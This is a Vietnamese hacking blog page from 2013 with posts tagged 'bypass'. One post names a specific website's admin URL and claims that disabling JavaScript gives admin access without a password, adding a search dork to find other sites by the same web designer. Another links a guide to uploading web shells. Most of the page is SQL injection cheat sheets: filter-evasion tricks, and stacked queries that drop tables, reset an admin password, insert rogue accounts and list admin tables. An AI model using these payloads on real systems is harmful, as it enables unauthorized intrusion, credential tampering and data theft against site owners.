Social Icons

Hiển thị các bài đăng có nhãn bypass. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn bypass. Hiển thị tất cả bài đăng

Thứ Tư, 10 tháng 7, 2013

bypass admin Cpanel không cần password

Có ai tin khi không cần username và password vẫn chiếm được quyền admin của website không? Chắc đa phần là KHÔNG rồi, vậy thì cùng nhau xem cái tut nhỏ này nhé

Vào site này: http://www.saongoc.com.vn/admin/
thử vào admin nó xem sao. http://www.saongoc.com.vn/admin/
-> username ?
-> password ?
=> Tịt ngòi rồi hjc hjc, không lẽ chịu thua???

Nói chứ có cách bypass nó rồi bây giò bắt đầu tut he vào bằng thằng firefox
Firefox --> tools--> options--> content--> Bỏ chọn cái enable javascript (nói chung trình duyệt nào cũng được nhưng disable cái Javascript đi để nó khỏi check :D )
-> Rồi vào lại cái trang admin nó xem sao : http://www.saongoc.com.vn/admin/
=> Vào được admin panel rồi nhé

Dork: "Design by Trang Web Vàng"
https://www.google.com.vn/#output=search&sclient=psy-ab&q=%22Design+by+Trang+Web+V%C3%A0ng%22&oq=%22Design+by+Trang+Web+V%C3%A0ng%22&gs_l=hp.3..33i29i30l4.6611.7442.0.7666.3.3.0.0.0.0.312.595.2-1j1.2.0...0.0.0..1c.1.17.psy-ab.mmk6vKa9B1o&pbx=1&bav=on.2,or.r_cp.r_qf.&bvm=bv.48705608,d.dGI&fp=c44b46fc16e9dd76&biw=1366&bih=600

Nguồn: https://www.facebook.com/VietTutorial
readmore...

Thứ Ba, 2 tháng 7, 2013

Các phương pháp bypass để upload shell

Đây là tài liệu tiếng Anh mô tả các phương pháp upload shell.

Các bạn có thể dùng google translte để dịch

Không hiểu có thể comment ở đây

Shell_Uploading_Guide.pdf
readmore...

Tổng kết một số mẹo bypass SQLi

- Khi query 1 số site chặn các hàm union,select,convert…thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt… hoặc conveter sang ascii

- Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy

- 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))

- Khi query nó trả về thế này
Forbidden
You don’t have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Hoặc

Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request

Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)

-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv

Còn lỡ gặp error này:
Error 500: Internal Server Error
The server encountered an unexpected condition which prevented it from fulfilling the request.

The problem is on the server side, not with your browser or the address. Most probably, a certain service (e.g., Tomcat engine) is down. Please contact your webmaster.
thì các bạn sử dụng buffer overflow query 

id=.. and (select 1)=(select 0xAAAAAAAAAAAAAAAA 1000 A nhé) union select 1,2,3....

1 Số truy vấn khác
-Tạo 1 table_name:
;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables–sp_password

-Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh
;UPDATE table1 SET password = ‘ceh’ WHERE username=’kingnus’–

-Chèn 1 record mới vào table
;INSERT INTO ‘table1′ (‘ID’, ‘username’, ‘password’, ‘details’) VALUES (99,’kingnus’,’ceh’,’Online’)–

-Tìm tất cả các table có liên quan như: admin,user,member,account,login…
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like ‘%admin%’ or table_name like ‘%Member%’ or table_name like ‘%User%’ or table_name like ‘%account%’ or table_name like ‘%login%’))–sp_password

and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in (”) and (table_name like ‘%25admin%25′ or table_name like ‘%25Member%25′ or table_name like ‘%25User%25′ or table_name like ‘%25account%25′ or table_name like ‘%25login%25′)))–sp_password

-Lấy tất cả các table_name:
; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2btable_name%2b’/’ from information_schema.tables select @temp as id into kingnusend–
or 1=(select id from kingnus)–
; drop table kingnus–

-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin

; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2bcolumn_name%2b’/’ from information_schema.columns where table_name=’tbadmin’ select @temp as id into kingnus end–
or 1=(select id from kingnus)–
readmore...

Cách để bypass SQLi

Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ …. muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:

Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4– -

Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4– -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng thêm vào Union và select khi bị chặn keyword
id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))

Cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables

(Nguồn: Dark.Hades)
readmore...